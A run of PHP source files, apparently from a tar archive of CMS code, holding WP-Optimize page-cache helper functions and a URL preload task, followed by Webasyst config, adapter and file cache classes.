	if (is_callable('site_url')) return site_url('/');

	$site_url = empty($GLOBALS['wpo_cache_config']['site_url']) ? '' : $GLOBALS['wpo_cache_config']['site_url'];
	return $site_url;
}
endif;

/**
 * Get cookie names which impact on cache file name.
 *
 * @return array
 */
if (!function_exists('wpo_cache_cookies')) :
function wpo_cache_cookies() {
	$cookies = empty($GLOBALS['wpo_cache_config']['wpo_cache_cookies']) ? array() : $GLOBALS['wpo_cache_config']['wpo_cache_cookies'];
	return $cookies;
}
endif;

/**
 * Get GET variable names which impact on cache file name.
 *
 * @return array
 */
if (!function_exists('wpo_cache_query_variables')) :
function wpo_cache_query_variables() {
	if (defined('WPO_CACHE_URL_PARAMS') && WPO_CACHE_URL_PARAMS) {
		$variables = array_keys($_GET);
	} else {
		$variables = empty($GLOBALS['wpo_cache_config']['wpo_cache_query_variables']) ? array() : $GLOBALS['wpo_cache_config']['wpo_cache_query_variables'];
	}

	if (!empty($variables)) {
		sort($variables);
	}

	return wpo_cache_maybe_ignore_query_variables($variables);
}
endif;

/**
 * Get list of all received HTTP headers.
 *
 * @return array
 */
if (!function_exists('wpo_get_http_headers')) :
function wpo_get_http_headers() {

	static $headers;

	if (!empty($headers)) return $headers;

	$headers = array();

	// if is apache server then use get allheaders() function.
	if (function_exists('getallheaders')) {
		$headers = getallheaders();
	} else {
		// https://www.php.net/manual/en/function.getallheaders.php
		foreach ($_SERVER as $key => $value) {

			$key = strtolower($key);

			if ('HTTP_' == substr($key, 0, 5)) {
				$headers[str_replace(' ', '-', ucwords(str_replace('_', ' ', substr($key, 5))))] = $value;
			} elseif ('content_type' == $key) {
				$headers["Content-Type"] = $value;
			} elseif ('content_length' == $key) {
				$headers["Content-Length"] = $value;
			}
		}
	}

	return $headers;
}
endif;

/**
 * Check if requested Accept-Encoding headers has gzip value.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_gzip_accepted')) :
function wpo_cache_gzip_accepted() {
	$headers = wpo_get_http_headers();

	if (isset($headers['Accept-Encoding']) && preg_match('/gzip/i', $headers['Accept-Encoding'])) return true;

	return false;
}
endif;

/**
 * Check if we can output gzip content in current answer, i.e. check Accept-Encoding headers has gzip value
 * and function ob_gzhandler is available.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_can_output_gzip_content')) :
function wpo_cache_can_output_gzip_content() {
	return wpo_cache_gzip_accepted() && function_exists('ob_gzhandler');
}
endif;

/**
 * Check if header with certain name exists in already prepared headers and has value comparable with $header_value.
 *
 * @param string $header_name  header name
 * @param string $header_value header value as regexp.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_is_in_response_headers_list')) :
function wpo_cache_is_in_response_headers_list($header_name, $header_value) {
	$headers_list = headers_list();

	if (!empty($headers_list)) {
		$header_name = strtolower($header_name);

		foreach ($headers_list as $value) {
			$value = explode(':', $value);

			if (strtolower($value[0]) == $header_name) {
				if (preg_match('/'.$header_value.'/', $value[1])) {
					return true;
				} else {
					return false;
				}
			}
		}
	}

	return false;
}
endif;

/**
 * Check if mobile cache is enabled and current request is from moblile device.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_mobile_caching_enabled')) :
function wpo_cache_mobile_caching_enabled() {
	if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching'])) return true;
	return false;
}
endif;

/**
 * Serves the cache and exits
 */
if (!function_exists('wpo_serve_cache')) :
function wpo_serve_cache() {
	$file_name = wpo_cache_filename();

	$file_name_rss_xml = wpo_cache_filename('.rss-xml');
	$send_as_feed = false;

	$path_dir = WPO_CACHE_FILES_DIR . '/' . wpo_get_url_path() . '/';
	$path = $path_dir . $file_name;

	if (wpo_feeds_caching_enabled()) {
		// check for .xml cache file if .html cache file doesn't exist
		if (!file_exists($path_dir . $file_name) && file_exists($path_dir . $file_name_rss_xml)) {
			$path = $path_dir . $file_name_rss_xml;
			$send_as_feed = true;
		}
	}

	$use_gzip = false;

	// if we can use gzip and gzipped file exist in cache we use it.
	// if headers already sent we don't use gzipped file content.
	if (!headers_sent() && wpo_cache_gzip_accepted() && file_exists($path . '.gz')) {
		$path .= '.gz';
		$use_gzip = true;
	}

	$modified_time = file_exists($path) ? (int) filemtime($path) : time();

	// Cache has expired, purge and exit.
	if (!empty($GLOBALS['wpo_cache_config']['page_cache_length'])) {
		if (time() > ($GLOBALS['wpo_cache_config']['page_cache_length'] + $modified_time)) {
			wpo_delete_files($path);
			return;
		}
	}

	// disable zlib output compression to avoid double content compression.
	if ($use_gzip) {
		ini_set('zlib.output_compression', 'Off'); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_ini_set
	}

	$gzip_header_already_sent = wpo_cache_is_in_response_headers_list('Content-Encoding', 'gzip');

	header('Cache-Control: no-cache'); // Check back later

	if (!empty($modified_time) && !empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) === $modified_time) {
		if ($use_gzip && !$gzip_header_already_sent) {
			header('Content-Encoding: gzip');
		}

		if ($send_as_feed) {
			header('Content-type: application/rss+xml');
		}

		header('WPO-Cache-Status: cached');
		header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');
		header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified', true, 304);
		exit;
	}

	if (file_exists($path) && is_readable($path)) {
		if ($use_gzip && !$gzip_header_already_sent) {
			header('Content-Encoding: gzip');
		}

		// send correct headers for xml and txt files
		$filename = basename(dirname($path));

		if (preg_match('/\.xml$/i', $filename)) {
			header('Content-type: text/xml');
		}

		if (preg_match('/\.txt$/i', $filename)) {
			header('Content-type: text/plain');
		}

		if ($send_as_feed) {
			header('Content-type: application/rss+xml');
		}

		header('WPO-Cache-Status: cached');
		if (!empty($modified_time)) {
			header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');
		}

		readfile($path);

		exit;
	}
}
endif;

/**
 * Clears the cache
 */
if (!function_exists('wpo_cache_flush')) :
function wpo_cache_flush() {

	if (defined('WPO_CACHE_FILES_DIR') && '' != WPO_CACHE_FILES_DIR) wpo_delete_files(WPO_CACHE_FILES_DIR);

	if (function_exists('wp_cache_flush')) {
		wp_cache_flush();
	}

	do_action('wpo_cache_flush');
}
endif;

/**
 * Get URL path for caching
 *
 * @since  1.0
 * @return string
 */
if (!function_exists('wpo_get_url_path')) :
function wpo_get_url_path($url = '') {
	$url = '' == $url ? wpo_current_url() : $url;
	$url_parts = parse_url($url);
	
	if (isset($url_parts['path']) && false !== stripos($url_parts['path'], '/index.php')) {
		$url_parts['path'] = preg_replace('/(.*?)index\.php(\/.+)/i', '$1index-php$2', $url_parts['path']);
	}

	if (!isset($url_parts['host'])) $url_parts['host'] = '';
	if (!isset($url_parts['path'])) $url_parts['path'] = '';

	return $url_parts['host'].$url_parts['path'];
}
endif;

/**
 * Get requested url.
 *
 * @return string
 */
if (!function_exists('wpo_current_url')) :
function wpo_current_url() {
	// Note: We use `static $url` to save the first value we retrieve, as some plugins change $_SERVER later on in the process (e.g. Weglot).
	// Otherwise this function would return a different URL at the begining and end of the cache process.
	static $url = '';
	if ('' != $url) return $url;
	$http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
	$url = rtrim('http' . ((isset($_SERVER['HTTPS']) && ('on' == $_SERVER['HTTPS'] || 1 == $_SERVER['HTTPS']) ||
			isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && 'https' == $_SERVER['HTTP_X_FORWARDED_PROTO']) ? 's' : '' )
		. '://' . $http_host.$_SERVER['REQUEST_URI'], '/');
	return $url;
}
endif;

/**
 * Return list of url exceptions.
 *
 * @return array
 */
if (!function_exists('wpo_get_url_exceptions')) :
function wpo_get_url_exceptions() {
	static $exceptions = null;

	if (null !== $exceptions) return $exceptions;

	// if called from file-based-page-cache.php when WP loading
	// and cache settings exists then use it otherwise get settings from database.
	if (isset($GLOBALS['wpo_cache_config']['cache_exception_urls'])) {
		if (empty($GLOBALS['wpo_cache_config']['cache_exception_urls'])) {
			$exceptions = array();
		} else {
			$exceptions = is_array($GLOBALS['wpo_cache_config']['cache_exception_urls']) ? $GLOBALS['wpo_cache_config']['cache_exception_urls'] : preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_urls']);
		}
	} else {
		$config = WPO_Page_Cache::instance()->config->get();

		if (is_array($config) && array_key_exists('cache_exception_urls', $config)) {
			$exceptions = $config['cache_exception_urls'];
		} else {
			$exceptions = array();
		}

		$exceptions = is_array($exceptions) ? $exceptions : preg_split('#(\n|\r)#', $exceptions);
		$exceptions = array_filter($exceptions, 'trim');
	}

	return apply_filters('wpo_get_url_exceptions', $exceptions);
}
endif;

/**
 * Return true of exception url matches current url
 *
 * @param  string $exception Exceptions to check URL against.
 * @param  bool   $regex	 Whether to check with regex or not.
 * @return bool   true if matched, false otherwise
 */
if (!function_exists('wpo_current_url_exception_match')) :
function wpo_current_url_exception_match($exception) {

	return wpo_url_exception_match(wpo_current_url(), $exception);
}
endif;

/**
 * Check if url in exceptions list.
 *
 * @param string $url
 *
 * @return bool
 */
if (!function_exists('wpo_url_in_exceptions')) :
function wpo_url_in_exceptions($url) {
	$exceptions = wpo_get_url_exceptions();

	if (!empty($exceptions)) {
		foreach ($exceptions as $exception) {

			// don't check / - front page using regexp, we handle it in wpo_restricted_cache_page_type()
			if ('/' == $exception) continue;

			if (wpo_url_exception_match($url, $exception)) {
				// Exception match.
				return true;
			}
		}
	}

	return false;
}
endif;

/**
 * Check if url string match with exception.
 *
 * @param string $url       - complete url string i.e. http(s):://domain/path
 * @param string $exception - complete url or absolute path, can consist (.*) wildcards
 *
 * @return bool
 */
if (!function_exists('wpo_url_exception_match')) :
function wpo_url_exception_match($url, $exception) {
	if (preg_match('#^[\s]*$#', $exception)) {
		return false;
	}

	$exception = str_replace('*', '.*', $exception);

	$exception = trim($exception);

	// used to test websites placed in subdirectories.
	$sub_dir = '';

	// if exception defined from root i.e. /page1 then remove domain part in url.
	if (preg_match('/^\//', $exception)) {
		// get site sub directory.
		$sub_dir = preg_replace('#^(http|https):\/\/.*\/#Ui', '', wpo_site_url());
		// add prefix slash and remove slash.
		$sub_dir = ('' == $sub_dir) ? '' : '/' . rtrim($sub_dir, '/');
		// get relative path
		$url = preg_replace('#^(http|https):\/\/.*\/#Ui', '/', $url);
	}

	$url = rtrim($url, '/') . '/';
	$exception = rtrim($exception, '/');

	// if we have no wildcat in the end of exception then add slash.
	if (!preg_match('#\(\.\*\)$#', $exception)) $exception .= '/';

	$exception = preg_quote($exception);

	// fix - unescape possible escaped mask .*
	$exception = str_replace('\\.\\*', '.*', $exception);

	return preg_match('#^'.$exception.'$#i', $url) || preg_match('#^'.$sub_dir.$exception.'$#i', $url);
}
endif;

/**
 * Checks if its a mobile device
 *
 * @see https://developer.wordpress.org/reference/functions/wp_is_mobile/
 */
if (!function_exists('wpo_is_mobile')) :
function wpo_is_mobile() {
	if (empty($_SERVER['HTTP_USER_AGENT'])) {
		$is_mobile = false;
	// many mobile devices (all iPhone, iPad, etc.)
	} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Android') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Silk/') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Kindle') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mobi') !== false
	) {
		$is_mobile = true;
	} else {
		$is_mobile = false;
	}

	return $is_mobile;
}
endif;

/**
 * Check if current browser agent is not disabled in options.
 *
 * @return bool
 */
if (!function_exists('wpo_is_accepted_user_agent')) :
function wpo_is_accepted_user_agent($user_agent) {

	$exceptions = is_array($GLOBALS['wpo_cache_config']['cache_exception_browser_agents']) ? $GLOBALS['wpo_cache_config']['cache_exception_browser_agents'] : preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_browser_agents']);

	if (!empty($exceptions)) {
		foreach ($exceptions as $exception) {
			if ('' == trim($exception)) continue;

			if (preg_match('#'.$exception.'#i', $user_agent)) return false;
		}
	}

	return true;
}
endif;

/**
 * Delete function that deals with directories recursively
 *
 * @param string  $src       Path of the folder
 * @param boolean $recursive If $src is a folder, recursively delete the inner folders. If set to false, only the files will be deleted.
 *
 * @return bool
 */
if (!function_exists('wpo_delete_files')) :
function wpo_delete_files($src, $recursive = true) {
	if (!file_exists($src) || '' == $src || '/' == $src) {
		return true;
	}

	if (is_file($src)) {
		return unlink($src);
	}

	$success = true;
	$has_dir = false;

	if ($recursive) {
		// N.B. If opendir() fails, then a false positive (i.e. true) will be returned
		if (false !== ($dir = opendir($src))) {
			$file = readdir($dir);
			while (false !== $file) {
				if ('.' == $file || '..' == $file) {
					$file = readdir($dir);
					continue;
				}
				if (is_dir($src . '/' . $file)) {
					if (!wpo_delete_files($src . '/' . $file)) {
						$success = false;
					}
				} else {
					if (!unlink($src . '/' . $file)) {
						$success = false;
					}
				}

				$file = readdir($dir);
			}
			closedir($dir);
		}
	} else {
		// Not recursive, so we only delete the files
		// scan directories recursively.
		$handle = opendir($src);

		if (false === $handle) return false;

		$file = readdir($handle);

		while (false !== $file) {

			if ('.' != $file && '..' != $file) {
				if (is_dir($src . '/' . $file)) {
					$has_dir = true;
				} elseif (!unlink($src . '/' . $file)) {
					$success = false;
				}
			}

			$file = readdir($handle);

		}
	}

	if ($success && !$has_dir) {
		// Success of this operation is not recorded; we only ultimately care about emptying, not removing entirely (empty folders in our context are harmless)
		rmdir($src);
	}

	// delete cached information about cache size.
	WP_Optimize()->get_page_cache()->delete_cache_size_information();

	return $success;
}
endif;

if (!function_exists('wpo_is_empty_dir')) :
/**
 * Check if selected directory is empty or has only index.php which we added for security reasons.
 *
 * @param string $dir
 *
 * @return bool
 */
function wpo_is_empty_dir($dir) {
	if (!file_exists($dir) || !is_dir($dir)) return false;

	$handle = opendir($dir);

	if (false === $handle) return false;

	$is_empty = true;
	$file = readdir($handle);

	while (false !== $file) {

		if ('.' != $file && '..' != $file && 'index.php' != $file) {
			$is_empty = false;
			break;
		}

		$file = readdir($handle);
	}

	closedir($handle);
	return $is_empty;
}
endif;

/**
 * Either store for later output, or output now. Only the most-recent call will be effective.
 *
 * @param String|Null $output - if not null, then the string to use when called by the shutdown action.
 */
if (!function_exists('wpo_cache_add_footer_output')) :
function wpo_cache_add_footer_output($output = null) {

	static $buffered = null;

	if (function_exists('current_filter') && 'shutdown' == current_filter()) {
		// Only add the line if it was a page, not something else (e.g. REST response)
		if (function_exists('did_action') && did_action('wp_footer')) {
			echo "\n<!-- WP Optimize page cache - https://getwpo.com - ".$buffered." -->\n";
		} elseif (defined('WPO_CACHE_DEBUG') && WPO_CACHE_DEBUG) {
			error_log('[CACHE DEBUG] '.wpo_current_url() . ' - ' . $buffered);
		}
	} else {
		if (null == $buffered && function_exists('add_action')) add_action('shutdown', 'wpo_cache_add_footer_output', 11);
		$buffered = $output;
	}

}
endif;

/**
 * Remove variable names that shouldn't influence cache.
 *
 * @param array $variables List of variable names.
 *
 * @return array
 */
if (!function_exists('wpo_cache_maybe_ignore_query_variables')) :
function wpo_cache_maybe_ignore_query_variables($variables) {

	/**
	 * Filters the current $_GET variables that will be used when caching or excluding from cache.
	 * Currently:
	 * - 'wpo_cache_debug' (Shows the reason for not being cached even when WP_DEBUG isn't set)
	 * - 'doing_wp_cron' (alternative cron)
	 * - 'aiosp_sitemap_path', 'aiosp_sitemap_page' (All in one SEO sitemap)
	 * - 'xml_sitemap', 'seopress_sitemap', 'seopress_news', 'seopress_video', 'seopress_cpt', 'seopress_paged' (SEOPress sitemap)
	 * - 'sitemap', 'sitemap_n' (YOAST SEO sitemap)
	 */
	$exclude_variables = array(
		'wpo_cache_debug',    // Shows the reason for not being cached even when WP_DEBUG isn't set
		'doing_wp_cron',      // alternative cron
		'aiosp_sitemap_path', // All in one SEO sitemap
		'aiosp_sitemap_page',
		'xml_sitemap',        // SEOPress sitemap
		'seopress_sitemap',
		'seopress_news',
		'seopress_video',
		'seopress_cpt',
		'seopress_paged',
		'sitemap',            // YOAST SEO sitemap
		'sitemap_n',
	);
	$exclude_variables = function_exists('apply_filters') ? apply_filters('wpo_cache_ignore_query_variables', $exclude_variables) : $exclude_variables;

	if (empty($exclude_variables)) return $variables;

	foreach ($exclude_variables as $variable) {
		$exclude = array_search($variable, $variables);
		if (false !== $exclude) {
			array_splice($variables, $exclude, 1);
		}
	}

	return $variables;
}
endif;

/**
 * Get cache config
 *
 * @param string $key     - The config item
 * @param mixed  $default - The default value
 *
 * @return mixed
 */
if (!function_exists('wpo_cache_config_get')) :
function wpo_cache_config_get($key, $default = false) {
	$config = $GLOBALS['wpo_cache_config'];

	if (!$config) return false;

	if (isset($config[$key])) {
		return $config[$key];
	} else {
		return $default;
	}
}
endif;

if (!function_exists('wpo_disable_cache_directories_viewing')) :
function wpo_disable_cache_directories_viewing() {
	global $is_apache, $is_IIS, $is_iis7;

	if (!is_dir(WPO_CACHE_FILES_DIR)) return;

	// Create .htaccess file for apache server.
	if ($is_apache) {
		$htaccess_filename = WPO_CACHE_FILES_DIR . '/.htaccess';

		// CS does not like heredoc
		// phpcs:disable
		$htaccess_content = <<<EOF
# Disable directory browsing 
Options -Indexes

# Disable access to any files
<FilesMatch ".*">
	Order allow,deny
	Deny from all
</FilesMatch>		
EOF;
		// phpcs:enable

		if (!is_file($htaccess_filename)) @file_put_contents($htaccess_filename, $htaccess_content); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
	}

	// Create web.config file for IIS servers.
	if ($is_IIS || $is_iis7) {
		$webconfig_filename = WPO_CACHE_FILES_DIR . '/web.config';
		$webconfig_content = "<configuration>\n<system.webServer>\n<authorization>\n<deny users=\"*\" />\n</authorization>\n</system.webServer>\n</configuration>\n";

		if (!is_file($webconfig_filename)) @file_put_contents($webconfig_filename, $webconfig_content); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
	}

	// Create empty index.php file for all servers.
	if (!is_file(WPO_CACHE_FILES_DIR . '/index.php')) @file_put_contents(WPO_CACHE_FILES_DIR . '/index.php', '');// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
}
endif;

/**
 * Add the headers indicating why the page is not cached or served from cache
 *
 * @param string $message - The headers
 *
 * @return void
 */
if (!function_exists('wpo_cache_add_nocache_http_header')) :
	function wpo_cache_add_nocache_http_header($message = '') {
		static $buffered_message = null;

		if (function_exists('current_filter') && 'send_headers' === current_filter() && $buffered_message && !headers_sent()) {
			header('WPO-Cache-Status: not cached');
			header('WPO-Cache-Message: '. trim(str_replace(array("\r", "\n", ':'), ' ', strip_tags($buffered_message))));
		} else {
			if (!$buffered_message && function_exists('add_action')) add_action('send_headers', 'wpo_cache_add_nocache_http_header', 11);
			$buffered_message = $message;
		}
	}
endif;

/**
 * Check if feeds caching enabled
 *
 * @return bool
 */
if (!function_exists('wpo_feeds_caching_enabled')) :
	function wpo_feeds_caching_enabled() {
		return apply_filters('wpo_feeds_caching_enabled', true);
	}
endif;

if (!function_exists('wpo_debug_backtrace_summary')) {
	function wpo_debug_backtrace_summary($ignore_class = null, $skip_frames = 0, $pretty = true) {
		static $truncate_paths;
	 
		$trace       = debug_backtrace(false);
		$caller      = array();
		$check_class = !is_null($ignore_class);
		$skip_frames++; // Skip this function.
	 
		if (!isset($truncate_paths)) {
			$truncate_paths = array(
				wpo_normalize_path(WP_CONTENT_DIR),
				wpo_normalize_path(ABSPATH),
			);
		}
	 
		foreach ($trace as $call) {
			if ($skip_frames > 0) {
				$skip_frames--;
			} elseif (isset($call['class'])) {
				if ($check_class && $ignore_class == $call['class']) {
					continue; // Filter out calls.
				}
	 
				$caller[] = "{$call['class']}{$call['type']}{$call['function']}";
			} else {
				if (in_array($call['function'], array('do_action', 'apply_filters', 'do_action_ref_array', 'apply_filters_ref_array'), true)) {
					$caller[] = "{$call['function']}('{$call['args'][0]}')";
				} elseif (in_array($call['function'], array('include', 'include_once', 'require', 'require_once'), true)) {
					$filename = isset($call['args'][0]) ? $call['args'][0] : '';
					$caller[] = $call['function'] . "('" . str_replace($truncate_paths, '', wpo_normalize_path($filename)) . "')";
				} else {
					$caller[] = $call['function'];
				}
			}
		}
		if ($pretty) {
			return implode(', ', array_reverse($caller));
		} else {
			return $caller;
		}
	}
}

if (!function_exists('wpo_normalize_path')) {
	function wpo_normalize_path($path) {
		// Standardise all paths to use '/'.
		$path = str_replace('\\', '/', $path);
	 
		// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
		$path = preg_replace('|(?<=.)/+|', '/', $path);
	 
		// Windows paths should uppercase the drive letter.
		if (':' === substr($path, 1, 1)) {
			$path = ucfirst($path);
		}

		return $path;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/class-wpo-load-url-task.php000644 000000 000000 00000003024 14151417634 033500 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('Access denied.');

if (!class_exists('Updraft_Task_1_2')) require_once(WPO_PLUGIN_MAIN_PATH . 'vendor/team-updraft/common-libs/src/updraft-tasks/class-updraft-task.php');

if (!class_exists('WP_Optimize_Page_Cache_Preloader')) require_once(dirname(__FILE__) . '/class-wpo-cache-preloader.php');

class WP_Optimize_Load_Url_Task extends Updraft_Task_1_2 {

	/**
	 * Default options.
	 */
	public function get_default_options() {
		return array();
	}

	/**
	 * Run preload http requests with different user-agent values to cache pages for different devices.
	 *
	 * @return bool
	 */
	public function run() {
		$url = $this->get_option('url');

		if (empty($url)) return;

		$cache_preloader = WP_Optimize_Page_Cache_Preloader::instance();

		// load pages with different user-agents values.

		$cache_preloader->preload_desktop($url);
		$cache_preloader->preload_mobile($url);
		$cache_preloader->preload_amp($url);

		if (defined('WP_CLI') && WP_CLI) {
			WP_CLI::log($url);
		}

		/**
		 * Action triggered after preloading a single url
		 *
		 * @param string $url             The url to preload
		 * @param object $cache_preloader Cache preloader instance
		 */
		do_action('wpoptimize_after_preload_url', $url, $cache_preloader);

		/**
		 * Allows to change the delay between each URL preload, to reduce server load.
		 *
		 * @param integer $preload_delay The delay between each request in microseconds (1000000 = 1 second).
		 */
		usleep(apply_filters('wpoptimize_preload_delay', 500000));

		return true;
	}
}
cms/webasyst/cache/000755 000000 000000 00000000000 14214665000 014641 5ustar00rootwheel000000 000000 cms/webasyst/cache/waConfigCache.class.php000644 000000 000000 00000013517 14202631424 021146 0ustar00rootwheel000000 000000 <?php
/**
 * Transparent memory cache for config files.
 *
 * To enable this caching strategy, set up default memory cache
 * (such as Memcache, XCache or Redis) via wa-config/cache.php, then set
 * 'config_cache_enable' => true in wa-config/config.php
 *
 * Note that file cache adapter makes no sense for this type of caching,
 * only in-memory cache should be used.
 */
class waConfigCache
{
    protected static $instance;

    /**
     * @var $cache_adapter waMemcachedCacheAdapter
     */
    protected static $cache_adapter = false;

    /**
     * @return waConfigCache singleton instance
     */
    public static function getInstance()
    {
        if (!isset(self::$instance)) {
            self::$cache_adapter = false;

            $framework_is_ready = function_exists('wa') && class_exists('waConfig') && waConfig::has('wa_path_root');

            // Do not use cache unless explicitly enabled
            if ($framework_is_ready && waSystemConfig::systemOption('config_cache_enable') === true) {
                try {
                    self::$cache_adapter = wa('wa-system')->getCache();
                } catch (Exception $e) {
                    $framework_is_ready = false;
                }
            }

            if (!$framework_is_ready) {
                // Framework is not ready, called too early.
                // Return an instance of self but do not save it to self::$instance
                // so that we attempt to do that again later.
                return new self();
            } else {
                self::$instance = new self();
            }
        }
        return self::$instance;
    }

    /**
     * Drop-in replacement for include() that transparently uses cache if available.
     * @param string $file  path to config file
     * @param bool $compare_filemtime false to return cache contents even if older than modification time of config file
     * @return mixed config file contents, as include() would return; usually PHP array
     */
    public function includeFile($file, $compare_filemtime = true)
    {
        $normalized_key = false;
        if (self::$cache_adapter) {
            $normalized_key = $this->normalizeKey($file);
        }

        if (self::$cache_adapter && $normalized_key) {
            $cache = self::$cache_adapter->get($normalized_key);
            if (!empty($cache['value']) && (!$compare_filemtime || $cache['timestamp'] >= filemtime($file))) {

                // config_cache_debug option allows to compare cached value to actual config file.
                // It will write to wa-log when cache returns different value compared to what is in file.
                // Note that it does nothing to fix the difference even when found.
                // This option should not be normally enabled in live environments.
                if (waSystemConfig::systemOption('config_cache_debug')) {
                    $value_from_file = include($file);
                    if ($value_from_file != $cache['value']) {
                        waLog::dump(
                            'Difference found between cached value and actual file config (compare_filemtime='.($compare_filemtime?'true':'false').').',
                            "cached data (cache key `{$normalized_key}`):",
                            $cache['value'],
                            "read from config file (file path `{$file}`):",
                            $value_from_file,
                            'config_cache_debug.log'
                        );
                    }
                }

                return $cache['value'];
            }
        }

        $new_cache = include($file);

        if (self::$cache_adapter && $normalized_key) {
            self::setFileContents($normalized_key, $new_cache);
        }

        return $new_cache;
    }

    /**
     * Remove cache contents for a single config file, or clear all cache.
     * @param string $file  path to config file; omit to clear the whole cache
     */
    public function clearCache($file = null)
    {
        if (self::$cache_adapter) {
            if ($file === null) {
                self::$cache_adapter->deleteAll();
            } else {
                $normalized_key = $this->normalizeKey($file);
                if ($normalized_key) {
                    self::$cache_adapter->delete($normalized_key);
                }
            }
        }
    }

    /**
     * Write config contents to cache without reading file from disk.
     * @param string $file  path to config file
     * @param mixed $data   config contents (usually PHP array)
     */
    public function setFileContents($file, $data)
    {
        if (self::$cache_adapter) {
            $normalized_key = $this->normalizeKey($file);
            if ($normalized_key) {
                self::$cache_adapter->set($normalized_key, array(
                    'value' => $data,
                    'timestamp' => time(),
                ));
            }
        }
    }

    /**
     * Normalize file path before using it as cache key
     * @param string $file  path to config file
     * @return bool|string valid cache key to use for given file, or false if file is not cacheable
     */
    protected function normalizeKey($file)
    {
        if (!function_exists('wa') || mb_strlen($file) <= 0) {
            return false;
        }
        $file = realpath($file);
        if (!$file) {
            return false;
        }
        try {
            $root_path = wa()->getConfig()->getRootPath().DIRECTORY_SEPARATOR;
        } catch (Exception $e) {
            // Framework is not ready, called too early
            return false;
        }
        if (mb_substr($file, 0, mb_strlen($root_path)) !== $root_path) {
            // do not cache anything outside of framework directory
            return false;
        }

        // remove root path from the begining of the key
        return mb_substr($file, mb_strlen($root_path));
    }
}
cms/webasyst/cache/waCacheAdapter.class.php000644 000000 000000 00000001521 14202631424 021311 0ustar00rootwheel000000 000000 <?php
/**
 * Base class for an adapter to abstract away communication
 * to a key/value storage such as Memcached.
 */
abstract class waCacheAdapter
{
    protected $options;
    public function __construct($options)
    {
        $this->options = $options;
        $this->init();
    }

    protected function init()
    {
    }

    public function key($key, $app_id, $group = null)
    {
        $key = trim($key, '/');
        if (!$group || $group === true) {
            return $app_id.'/'. $key;
        } else {
            return $app_id.'/'.$group.'/'.$key;
        }
    }

    abstract public function get($key);

    abstract public function set($key, $value, $expiration = null, $group = null);

    abstract public function delete($key);

    abstract public function deleteGroup($group);

    abstract public function deleteAll();

}cms/webasyst/cache/waSystemCache.class.php000644 000000 000000 00000000636 14202631424 021223 0ustar00rootwheel000000 000000 <?php 

class waSystemCache extends waVarExportCache
{
    protected function getFilePath()
    {
        $path = waConfig::get('wa_path_cache').'/'.$this->key.'.php';
        waFiles::create($path);
        return $path;
    }

    public function getFilemtime()
    {
        $path = $this->getFilePath();
        if (file_exists($path)) {
            return filemtime($path);
        }
        return 0;
    }
}cms/webasyst/cache/adapters/000755 000000 000000 00000000000 14214665074 016457 5ustar00rootwheel000000 000000 cms/webasyst/cache/waFileCache.class.php000644 000000 000000 00000006311 14202631424 020612 0ustar00rootwheel000000 000000 <?php

/*
 * This file is part of Webasyst framework.
 *
 * Licensed under the terms of the GNU Lesser General Public License (LGPL).
 * http://www.webasyst.com/framework/license/
 *
 * @link http://www.webasyst.com/
 * @author Webasyst LLC
 * @copyright 2011 Webasyst LLC
 * @package wa-system
 * @subpackage cache
 */

abstract class waFileCache implements waiCache
{
    /**
     * Key
     *
     * @var string
     */
    protected $key;

    /**
     * Expire time in sec
     *
     * @var int
     */
    protected $ttl;
    protected $app_id;
    protected $value = null;

    /**
     * If you are not sure that the recorded cache will clear itself - use this flag.
     * In this case, the Framework will definitely remove it when the $this->ttl time expires.
     * @important On $this->writeToFile and $this->delete makes database queries!
     * @var bool
     */
    protected $hard_clean = false;

    public function __construct($key, $ttl = -1, $app_id = null, $hard_clean = false)
    {
        $this->key = trim($key, '/');
        $this->ttl = $ttl;
        $this->app_id = $app_id;
        $this->hard_clean = $hard_clean;
    }

    protected function getFilePath()
    {
        return waSystem::getInstance()->getCachePath('cache/'.$this->key.'.php', $this->app_id);
    }

    public function get()
    {
        if ($this->value !== null) {
            return $this->value;
        }
        $t = func_num_args() ? func_get_arg(0) : null;
        $this->value = $this->readFromFile($this->getFilePath(), $t);
        return $this->value;
    }

    public function set($value)
    {
        $this->value = null;
        $result = $this->writeToFile($this->getFilePath(), $value);
        if ($this->hard_clean) {
            $this->getCacheModel()->add($this->getCacheName(), $this->ttl);
        }

        // Update the value so that you can continue working with the object.
        // But only if that makes sense.
        // This will eliminate the excessive reading of the cache file, if after set we need get.
        if ($result && $this->ttl !== 0) {
            $this->value = $value;
        }

        return $result;
    }

    public function delete()
    {
        $this->value = null;

        if ($this->hard_clean) {
            $this->getCacheModel()->deleteByField('name', $this->getCacheName());
        }

        $file = $this->getFilePath();
        if (file_exists($file)) {
            return @unlink($file);
        }
        return true;
    }

    public function isCached()
    {
        return $this->get() === null ? false : true;
    }

    abstract protected function writeToFile($file, $v);
    abstract protected function readFromFile($file);

